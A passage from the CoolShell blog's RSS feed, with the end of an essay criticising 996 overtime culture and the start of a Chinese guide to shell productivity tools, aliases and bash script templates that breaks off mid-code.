href=\"https://coolshell.cn/articles/19271.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19271.html\">“努力就会成功”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/busy.work_-300x166.jpg\" alt=\"\" width=\"300\" height=\"166\" /> 那一年，我加入了某知名公司的某知名部门，在办公室中，我看到了到处都挂着——“努力就会成功”的条幅，这个部门中大多数员工的邮件签名都会有“努力就会成功”，我感到一种热血沸腾的气氛，这是我在多年工作来都没有感受到的，当时挺高兴地能和这样一群人工作，也没多想。直到有一天，我看到这些高级的软件工程师们把自己关在又挤又吵的会议室中，拼命地加班，真是拼命，周一到周日，每天早上10点到凌晨3点甚至凌晨5点，连国庆节都来上班，就在这样的环境和状态下，连续干了三个多月……上线前，QA找到了1000多个bug（你没看错，就是一千多个），最后这个项目用了1年多的时间来返工，本来一个6-8个月的项目，团队被打了鸡血想在3个月内完成，最终却花了近两年的时间来返工……（要知道，我以前在外国公司工作，外国老板看到团队在长时间加班会感到焦虑的，因为加班通常代表着有不好的事情正在发生……）</p>\n<p>所以对此，我是有点看不懂的，看不懂的是，为什么这么一群聪明的人，放着明亮宽敞的办公桌不用，硬要挤在一个又窄又小又吵又热的小空间里工作，而且要这么透支地写那么重要的很关键的系统级的代码……这就好像，一架在一个小作坊里被人加班加点赶工出来的飞机，谁敢坐啊？！老实说，这群工程师真是很优秀的工程师，他们完全是可以做得更好的……但是却做出了如此蹩脚和糟糕的系统……他们说，这样坐在一起可以做到快速沟通，然而，我觉得这恰恰是一种没有章法的表现。</p>\n<p>也是在这家公司，在这个项目烂尾一年前，公司感到了危机，CEO号召全体996，举全公司之力从董事长到下面基层员工对抗外部所谓的威胁，有的部门为了表现，甚至997，然而，在一年后，做出了一个烂得不能再烂的软件，最终以失败告终，很多人包括CEO也因此下课……</p>\n<p><span id=\"more-19271\"></span></p>\n<p>这是最让我看不懂的一个事了，为什么这么如此成功的公司的高级管理层会做出这样的事情，而且还制定这样的政策……把这么优秀的员工以及公司大把把数以亿计的钞票投入到这种错误的路线上来，而且还拼命地加班…… 他们脑子里在想什么呢？难道他们真的以为，有足够多的钱，足够多的人，然后拼命加班，就能打败对手吗？……</p>\n<h4>你喜欢这句话吗？</h4>\n<p>“努力就会成功”，“加班就会有成就”，“勤劳就会致富”……是这样吗？仔细思考一些，这些话存在严重的逻辑问题，我们在高中的时候学过“充分条件”，“必要条件”和“充要条件”！<strong>“努力就会成功”这句话，把“努力”说成了“成功”的充要条件，这不就是错的吗？努力只是成功的必要条件之一。</strong>你在错误的方向或是格局很小的方向上努力，能有用么？你努力地要饭，你努力地当搬运工，你努力地打骚扰电话销卖保险…… 在错误和小格局的方向上努力，你还觉得努力还有用吗？</p>\n<p>但是很多人是很喜欢“努力就会成功”这句话，这类人也很喜欢看很多小人物通过自己的努力变成成功人士的励志的故事，为什么这种故事会被很多人喜欢甚至感动。因为这很符合大众的心理诉求，这种诉求其实就是一种只要使力只要拼命了就可以成功的心理诉求，<strong>因为这类人基本上都是能力有限，不知道怎么提升自己的人，当他们看到只要拼命使力就可以成功的观点时，他们就会有共鸣，就会感到，不用学习那些晦涩难懂高级的知识，不用掌握和练习哪些高级技能，自己只需要在低级的事情上拼命和努力，加更多的班和干更多活，自己就会像电影中的那些小人物一样，总有一天会成功的</strong>……</p>\n<p><strong>“努力就会成功，勤劳就会致富”，不但符合那些低级管理者的利益诉求，同样符合那些能力不足不愿意学习和成长的人的诉求。因为，他们混淆了行动与进展，忙碌与多产，他们以为能靠蛮力可以弥补思维上的惰性，靠拼命可以弥补能力上的不足……</strong></p>\n<p>喜欢或认同这句话的人基本是能力上有问题的人，这类适合做劳动密集型的事。不信你可以试试看，当一件事的难度超过一定程度的时候，那些聪明的人会找到更省力的方法，而能力上有问题的，还是在那使蛮力。</p>\n<h4>我成长的过程</h4>\n<p>回想我的过去，我在2001年那年被外包到了某银行做开发，标准的9/10/6，封闭开发，就是用C语言在AIX系统里堆一些银行的交易逻辑，老实说，这个过程并没有让我学到什么东西，也没有什么成长，我每天想的就是我要离开这个地方，所以，我在晚上10点以后开始看书学习到11点半，并使用工作环境动手实践书上的代码，一年后，我精读了《TCP/IP详解》《Windows核心编程》《Java编程思想》等书。然后，我找到一份外企业的工作，月薪一下翻了三倍。</p>\n<p>在外企不加班，但是当时的外企压力也很大，对代码的质量要求的也很高，来的第二个月，就因为代码写的太差，差点被开掉，所以，为了能够达到更高的标准，我自然也是很努力的，在周末甚至黄金周节假日我哪里都不去，我就去公司，但我不是在公司上班，因为我没有自己的电脑，所以，我只能蹭公司的电脑，这导致办公楼的管理人员经常打电话给我让我帮他在周末的时候管理物业…… <strong>在这家公司是我成长最快的时候，然而，并不是因为我的努力，而是因为有很多比我牛逼的人在Code Review上给我大量的帮助，在项目上帮助我，我的努力学习虽然也有作用，但更多的是高手对我的帮助</strong>。</p>\n<p><strong>再回想一下我以前在职场上的很多关键点，不是因为我加班了，而是因为在某些关键问题上，我跳出来解决了其它人都解决不了的问题</strong>，我解决了一个网络通信莫名其妙的断掉的问题，我把性能优化了很多倍，我解决了一个不能重现的一个困扰团队3个星期的问题（其实就是大家没有认真读文档），我在入职一个公司的第一天里就为这个公司解决了一个历史遗留问题……在Platform，我每周解决了bug数是全公司的其它人的总和还要多（从不加班），在路透，我带团队优化的系统的性能是全球所有研发中心最高的，在亚马逊，两周打通美国和德国的订单和商品列表系统……我也有失败的时候，<strong>而我失败的时候，总是因为我搞不定事，即便是加班拼命努力也无济于事</strong>！是的，我的职业生涯的成长，最根本的不是你有多努力，有多勤奋，而是你能搞定很多人搞不定的事！</p>\n<p>你不信你可以看看你们公司那些不用加班，就算什么也不干，公司也要花钱养的技术人员，他们的成功一定不是努力和加班加出来的，<strong>你会发现这些人拼的不是谁干的多，而是谁解决的问题更有难</strong>。</p>\n<p><strong>我加班996的时候，从来都不是我成长最快的时候，而我和一群牛人在解决难题的时才是我成长最快的时候。</strong></p>\n<h4>Work Smart</h4>\n<p>2015年因为父亲病危要动手术，所以我不能工作在家照顾父亲。于是我就成为了一个自由职业者，帮很多公司解决一些技术问题，好多都是高并发和系统稳定性的问题，有一些是分布式架构的运维的问题，还有一些是工程管理和企业文化问题……有一些小公司的单体架构在业务上一推广就宕机了，于是把我叫过去，我在生产线上直接re-arch，用一些非常规的手段，1-2天就把性能救过来了…… 还有就是解决一些点状的技术问题，还帮用户做一些design/code review……，有70%工作是真正的按劳取酬，也就是先把问题解决了再谈要收多少钱，<strong>那段时间我出卖的不是我的劳动力，而是我的技能，所以，反而比打工挣得多多了，而且还比较轻闲</strong>……</p>\n<p>有时候，我还调侃到，你在大公司里一天写上万行代码，拼命地加班，你信不信，我只用写几百行代码就挣得比你多？<strong>同样是一个简单的 for-loop 语句，有人写的就值1万元一行，而你写的则一文不值。关键不在于谁写的代码多，关键在于我们解决了什么样的问题</strong>。你千万不要以为只要付你足够的钱，你就可以996，让你干什么都可以，然而当你自己把自己当成劳动力的时候，你也就只是一个像牲口一样的行事了！</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large \" src=\"https://coolshell.cn/wp-content/uploads/2019/04/hard.work_-1024x576.jpg\" alt=\"\" width=\"640\" height=\"360\" /></p>\n<p><strong>这就好像算法一样，你那个O(n^2)的递归穷举算法，再怎么样也干不过我的O(n)的动态规划的算法。</strong></p>\n<p>现在我拿了投资在创业，一开始帮助各大企业建高并发高可用云化架构的公司，现在还给企业提供金融和营销能力，我跟客户谈业务的时候，基本不是因为我有多加班多努力地做方案，而是我能一针见血地指出用户的问题，帮用户解决问题。我在很多地方都见到阿里、蚂蚁、华为、HP……，一个小创业公司跟他们竞争真的很难，但我知道，要能竞争过这些大公司，这根本就不是能够通过加班996或是拼命努力就能搞定的，我必需要使用更好的方式，所以，除了更好地站在用户的立场，能够给用户制定更符合用户的技术方案之外，我必需做到我的技术方案不比这些大公司的差，而这一点，完全不是加班、努力或是勤奋能出来的，这是需要靠自己的经验、学习能力、归纳思考、和与更多牛人交流才出的来的……当我给某银行CIO介绍完我的分布式系统的方案后，CIO给我微微鞠躬说：“过去一两年，我听过几乎所有国内外产商跟我讲的分布式的方案，你的是我听过的最好的方案！谢谢你！”，当我给某省电信行业公司讲了一下DevOps的方案后，老总对我说：“你们真的是做事的人！”，当用户来问我：“你们的API网关是怎么写的？为什么运行的这么稳定？”……这些话都是让我很心里很暖的话……<strong>当然，我也有被骂的时候，也有失败的时候，但基本上来说，我无法通过努力工作改善我思维的不足……</strong></p>\n<p><strong>我们学计算机当程序员最大的福气不是可以到大公司里加班和996，而是我们生活在了第三次工业革命的信息化时代，这才是最大的福气，所以，我们应该努力地提升自己，而不是把自己当劳动力一样的卖了！在这样的一个时代，你要做的不是通过加班和拼命来跪着挣钱，而是通过技能来躺着挣钱……</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19271.html\">“努力就会成功”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19271.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>110</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>打造高效的工作环境 &#8211; Shell 篇</title>\n\t\t<link>https://coolshell.cn/articles/19219.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19219.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 17 Mar 2019 05:53:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Shell]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19219</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>注：本文由雷俊(Javaer/Emacser)和我一起编辑，所以文章版权归雷俊与我共同所有，转载者必需注明出处和我们两位作者。原文最早发于酷壳微信公众号，后来我...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19219.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<blockquote><p><strong>注：本文由<a href=\"https://github.com/rayjun\" target=\"_blank\" rel=\"noopener noreferrer\">雷俊</a>(Javaer/Emacser)和我一起编辑，所以文章版权归雷俊与我共同所有，转载者必需注明出处和我们两位作者。原文最早发于酷壳微信公众号，后来我又做了一些修改，再发到博客这边。</strong></p></blockquote>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-19230\" src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_.png\" alt=\"\" width=\"255\" height=\"220\" />程序员是一个很懒的群体，总想着能够让代码为自己干活，他们不断地把工作生活中的一些事情用代码自动化了，从而让整个社会的效率运作地越来越高。所以，程序员在准备去优化这个世界的时候，都会先要优化自己的工作环境，是所谓“工欲善其事，必先利其器”。</p>\n<p>我们每个程序员都应该打造一套让自己更为高效的工作环境。那怕就是让你少输入一次命令，少按一次键，少在鼠标和键盘间切换一次，都会让程序员的工作变得更为的高效。所以，程序员一般需要一台性能比较好，不会因为开了太多的网页或程序就卡得不行的电脑，还要配备多个显示器，一个显示器写代码，一个查文档，一个测试运行结果，而不必在各种窗口来来回回的切换……在大量的窗口间切换经常会迷路，而且也容易出错（分不清线上或测试环境）……</p>\n<p>除了硬件上的装备，软件上也是能够提升程序员生产力的地方，<strong>在软件层面提升程序员生产力的东西有一个很重要的事就是命令行和脚本</strong>，使用鼠标和图形界面则会大大降低程序员的生产力。酷壳以前也写过一些，如《<a href=\"https://coolshell.cn/articles/8619.html\" target=\"_blank\" rel=\"noopener noreferrer\">你可能不知道的Shell</a>》和《 <a href=\"https://coolshell.cn/articles/8883.html\" target=\"_blank\" rel=\"noopener noreferrer\">应该知道的Linux技巧</a>》，但是Unix/Linux Shell就是一个大宝库，怎么写也写不完，不然，怎么会有“Where is the Shell, there is a way”。</p>\n<p><span id=\"more-19219\"></span></p>\n<h4>命令行</h4>\n<p>在不同的操作系统下，都有着很不错的命令行工具，比如 Mac 下的 <strong>Iterm2</strong>，Linux 下的原生命令行，如果你是在 Windows 下工作，问题也不大，因为 Windows 下现在有了 <strong>WSL</strong>。WSL 提供了一个由微软开发的Linux兼容的内核接口（不包含Linux内核代码），然后可以在其上运行GNU用户空间，例如 Ubuntu，openSUSE，SUSE Linux Enterprise Server，Debian和Kali Linux。这样的用户空间可能包含 Bash shell 和命令语言，使用本机 GNU/Linux 命令行工具（sed，awk 等），编程语言解释器（Ruby，Python 等），甚至是图形应用程序（使用主机端的X窗口系统）。</p>\n<p>使用命令行可以完成所有日常的操作，新建文件夹（mkdir）、新建文件（touch）、移动（mv）、复制（cp）、删除（rm）等等。而且使用 Linux/Unix 命令行最好的方式是可以用 <code>awk</code>、<code>sed</code>、<code>grep</code>、<code>xargs</code>、<code>find</code>、<code>sort</code> 等等这样的命令，然后用管道把其串起来，就可以完成一个你想要的功能，尤其是一些简单的数据统计功能。这是Linux命令行不可比拟的优势。比如：</p>\n<ul>\n<li>查看连接你服务器 top10 用户端的 IP 地址：</li>\n</ul>\n<p><code>netstat -nat | awk '{print $5}' | awk -F ':' '{print $1}' | sort | uniq -c | sort -rn | head -n 10</code></p>\n<ul>\n<li>查看一下你最常用的10个命令：</li>\n</ul>\n<p><code>cat .bash_history | sort | uniq -c | sort -rn | head -n 10 (or cat .zhistory | sort | uniq -c | sort -rn | head -n 10</code></p>\n<p>（注：<code>awk</code> 和 <code>sed</code> 是两大神器，所以，我以前的也有两篇文章来介绍它们——《<a href=\"https://coolshell.cn/articles/9070.html\" target=\"_blank\" rel=\"noopener noreferrer\">awk简明教程</a>》和《<a href=\"https://coolshell.cn/articles/9104.html\" target=\"_blank\" rel=\"noopener noreferrer\">sed简明教程</a>》，你可以前往一读）</p>\n<p>在命令行中使用 <strong>alias</strong> 可以将使用频率很高命令或者比较复杂的命令合并成一个命令，或者修改原生的命令。</p>\n<p>下面这几个命令，可能是你天天都在敲的。所以，你应该设置成 alias 来提高效率</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nalias nis=&quot;npm install --save &quot;\nalias svim=&#039;sudo vim&#039;\nalias mkcd=&#039;foo(){ mkdir -p &quot;$1&quot;; cd &quot;$1&quot; }; foo &#039;\nalias install=&#039;sudo apt get install&#039;\nalias update=&#039;sudo apt-get update; sudo apt-get upgrade&#039;\nalias ..=&quot;cd ..&quot;\nalias ...=&quot;cd ..; cd ..&quot;\nalias www=&#039;python -m SimpleHTTPServer 8000&#039;\nalias sock5=&#039;ssh -D 8080 -q -C -N -f user@your.server&#039;\n</pre>\n<p>你还可以参考如下的一些文章，看看别人是怎么用好 <code>alias</code> 的</p>\n<ul>\n<li><a href=\"https://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html\" rel=\"nofollow\">30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X</a></li>\n<li><a href=\"https://www.digitalocean.com/community/questions/what-are-your-favorite-bash-aliases\" rel=\"nofollow\">What are your favorite bash aliases?</a></li>\n<li><a href=\"https://www.linuxtrainingacademy.com/23-handy-bash-shell-aliases-for-unix-linux-and-mac-os-x/\" rel=\"nofollow\">23 Handy Bash Shell Aliases For Unix, Linux, and Mac OS X</a></li>\n<li><a href=\"https://brettterpstra.com/2013/03/31/a-few-more-of-my-favorite-shell-aliases/\" rel=\"nofollow\">A few more of my favorite Bash aliases</a></li>\n</ul>\n<p>命令行中除了原生的命令之外，还有很多可以提升使用体验的工具。下面罗列一些很不错的命令，把原生的命令增强地很厉害:</p>\n<ul>\n<li><a href=\"https://github.com/clvv/fasd\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>fasd</strong></a> 增强了 <code>cd</code> 命令 。</li>\n<li><a href=\"https://github.com/sharkdp/bat\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>bat</strong></a> 增强了 <code>cat</code> 命令 。如果你想要有语法高亮的 <code>cat</code>，可以试试 <a href=\"https://github.com/jingweno/ccat\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>ccat</strong></a> 命令。</li>\n<li><a href=\"https://github.com/ogham/exa\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>exa</strong></a> 增强了 <code>ls</code> 命令，如果你需要在很多目录上浏览各种文件 ，<a href=\"https://github.com/ranger/ranger\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>ranger</strong></a> 命令可以比 <code>cd</code> 和 <code>cat</code> 更有效率，甚至可以在你的终端预览图片。</li>\n<li><a href=\"https://github.com/sharkdp/fd\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>fd</strong></a> 是一个比 <code>find</code> 更简单更快的命令，他还会自动地忽略掉一些你配置在 <code>.gitignore</code> 中的文件，以及 <code>.git</code> 下的文件。</li>\n<li><a href=\"https://github.com/junegunn/fzf\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>fzf</strong></a> 会是一个很好用的文件搜索神器，其主要是搜索当前目录以下的文件，还可以使用 <code>fzf --preview 'cat {}'</code>边搜索文件边浏览内容。</li>\n<li><code>grep</code> 是一个上古神器，然而，<a href=\"https://beyondgrep.com/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>ack</strong></a>、<a href=\"https://github.com/ggreer/the_silver_searcher\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>ag</strong></a> 和 <a href=\"https://github.com/BurntSushi/ripgrep\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>rg</strong></a> 是更好的grep，和上面的 <code>fd</code>一样，在递归目录匹配的时候，会使用你配置在 <code>.gitignore</code> 中的规则。</li>\n<li><code>rm</code> 是一个危险的命令，尤其是各种 <code>rm -rf …</code>，所以，<a href=\"https://github.com/andreafrancia/trash-cli/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>trash</strong></a> 是一个更好的删除命令。</li>\n<li><code>man</code> 命令是好读文档的命令，但是man的文档有时候太长了，所以，你可以试试 <a href=\"https://github.com/tldr-pages/tldr\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>tldr</strong></a> 命令，把文档上的一些示例整出来给你看。</li>\n<li>如果你想要一个图示化的<code>ping</code>，你可以试试 <a href=\"https://github.com/denilsonsa/prettyping\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>prettyping</strong></a> 。</li>\n<li>如果你想搜索以前打过的命令，不要再用 Ctrl +R 了，你可以使用加强版的 <a href=\"https://github.com/dvorka/hstr\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>hstr</strong></a>  。</li>\n<li><a href=\"https://hisham.hm/htop/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>htop</strong></a>  是 top 的一个加强版。然而，还有很多的各式各样的top，比如：用于看IO负载的 <a href=\"http://guichaz.free.fr/iotop/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>iotop</strong></a>，网络负载的 <a href=\"http://www.ex-parrot.com/~pdw/iftop/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>iftop</strong></a>, 以及把这些top都集成在一起的 <a href=\"https://github.com/Atoptool/atop\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>atop</strong></a>。</li>\n<li><a href=\"https://dev.yorhel.nl/ncdu\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>ncdu</strong></a>  比 du 好用多了用。另一个选择是 <a href=\"https://github.com/jarun/nnn\" target=\"_blank\" rel=\"noopener noreferrer\">nnn</a>。</li>\n<li>如果你想把你的命令行操作建录制成一个 SVG 动图，那么你可以尝试使用 <a href=\"https://asciinema.org/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>asciinema</strong></a> 和 <a href=\"https://github.com/marionebl/svg-term-cli\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>svg-trem</strong></a> 。</li>\n<li><a href=\"https://github.com/jakubroztocil/httpie\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>httpie</strong></a> 是一个可以用来替代 <code>curl</code> 和 <code>wget</code> 的 http 客户端，<code>httpie</code> 支持 json 和语法高亮，可以使用简单的语法进行 http 访问: <code>http -v github.com</code>。</li>\n<li><a href=\"https://github.com/tmux/tmux\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>tmux</strong></a> 在需要经常登录远程服务器工作的时候会很有用，可以保持远程登录的会话，还可以在一个窗口中查看多个 shell 的状态。</li>\n<li><a href=\"https://github.com/klaussinani/taskbook\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>Taskbook</strong></a> 是可以完全在命令行中使用的任务管理器 ，支持 ToDo 管理，还可以为每个任务加上优先级。</li>\n<li><a href=\"https://github.com/Russell91/sshrc\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>sshrc</strong></a> 是个神器，在你登录远程服务器的时候也能使用本机的 shell 的 rc 文件中的配置。</li>\n<li><a href=\"https://github.com/allinurl/goaccess\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>goaccess</strong></a>  这个是一个轻量级的分析统计日志文件的工具，主要是分析各种各样的 access log。</li>\n</ul>\n<p>关于这些增加命令，主要是参考自下面的这些文章</p>\n<ol>\n<li><a href=\"https://dev.to/_darrenburns/10-tools-to-power-up-your-command-line-4id4\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">10 Tools To Power Up Your Command Line</a></li>\n<li><a href=\"https://dev.to/_darrenburns/tools-to-power-up-your-command-line-part-2-2737\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">5 More Tools To Power Up Your Command Line (Part 2 Of Series)</a></li>\n<li><a href=\"https://dev.to/_darrenburns/power-up-your-command-line-part-3-4o53\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Power Up Your Command Line, Part 3</a></li>\n<li><a href=\"https://darrenburns.net/posts/tools/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Power Up Your Command Line</a></li>\n<li><a href=\"https://hacker-tools.github.io/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Hacker Tools</a></li>\n</ol>\n<h4>Shell 和脚本</h4>\n<p>shell 是可以与计算机进行高效交互的文本接口。shell 提供了一套交互式的编程语言（脚本），shell的种类很多，比如 <strong>sh</strong>、<strong>bash</strong>、<strong>zsh</strong> 等。</p>\n<p>shell 的生命力很强，在各种高级编程语言大行其道的今天，很多的任务依然离不开 shell。比如可以使用 shell 来执行一些编译任务，或者做一些批处理任务，初始化数据、打包程序等等。</p>\n<p>现在比较流行的是 <strong>zsh</strong> + <a href=\"https://ohmyz.sh/\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>oh-my-zsh</strong></a> + <a href=\"https://github.com/zsh-users/zsh-autosuggestions\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>zsh-autosuggestions</strong></a> 的组合，你也可以试试看。其中 zsh 和 oh-my-zsh 算是常规操作了，但是 zsh-autosuggestions 特别有用，可以超级快速的帮你补全你输入过的命令，让命令行的操作更加高效。</p>\n<p>另外，<strong><a href=\"https://fishshell.com/\" target=\"_blank\" rel=\"noopener noreferrer\">fish</a> </strong>也是另外一个牛逼的shell，比如：命令行自动完成（根据历史记录），命令行命令高亮，当你要输入命令行参数的时候，自动提示有哪些参数…… fish在很多地方也是用起来很爽的。和上面的 oh-my-zsh 有点不分伯仲了。</p>\n<p>你也许会说，用 Python 脚本或 PHP 来写脚本会比 Shell 更好更没有 bug，但我要申辩一下:</p>\n<ul>\n<li>其一，如果你有一天要维护线上机器的时候，或是到了银行用户的系统（与外网完全隔离，而且服务器上没有安装 Python/PHP 或是他们的的高级库，那么，你只有 Shell 可以用了）。</li>\n<li>其二，而且，如果要跟命令行交互很多的话，Shell 是不二之选，试想一下，如果你要去 100 台远程的机器上查access.log 日志中有没有某个错误，完成这个工作你是用 PHP/Python 写脚本快还是用 Shell 写脚本快呢？</li>\n</ul>\n<p>所以，<strong>我们还要学会只使用传统的grep/awk/sed等等这些POSIX的原生的系统默认安装的命令</strong>。</p>\n<p>当然，要写好一个脚本并不容易，下面有一些小模板供你参考：</p>\n<p>处理命令行参数的一个样例</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">while [ &quot;$1&quot; != &quot;&quot; ]; do\n    case $1 in\n        -s  )   shift\t\n\t\tSERVER=$1 ;;  \n        -d  )   shift\n\t\tDATE=$1 ;;\n\t--paramter|p ) shift\n\t\tPARAMETER=$1;;\n        -h|help  )   usage # function call\n                exit ;;\n        * )     usage # All other parameters\n                exit 1\n    esac\n    shift\ndone </pre>\n<p>命令行菜单的一个样例</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n#!/bin/bash\n# Bash Menu Script Example\n\nPS3=&#039;Please enter your choice: &#039;\noptions=(&quot;Option 1&quot; &quot;Option 2&quot; &quot;Option 3&quot; &quot;Quit&quot;)\nselect opt in &quot;${options[@]}&quot;\ndo\n    case $opt in\n        &quot;Option 1&quot;)\n            echo &quot;you chose choice 1&quot;\n            ;;\n        &quot;Option 2&quot;)\n            echo &quot;you chose choice 2&quot;\n            ;;\n        &quot;Option 3&quot;)\n            echo &quot;you chose choice $REPLY which is $opt&quot;\n            ;;\n        &quot;Quit&quot;)\n            break\n            ;;\n        *) echo &quot;invalid option $REPLY&quot;;;\n    esac\ndone\n</pre>\n<p>颜色定义，你可以使用 <code>echo -e \"${Blu}blue ${Red}red ${RCol}etc....\"</code> 进行有颜色文本的输出</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nRCol=&#039;\\e[0m&#039;    # Text Reset\n\n# Regular           Bold                Underline           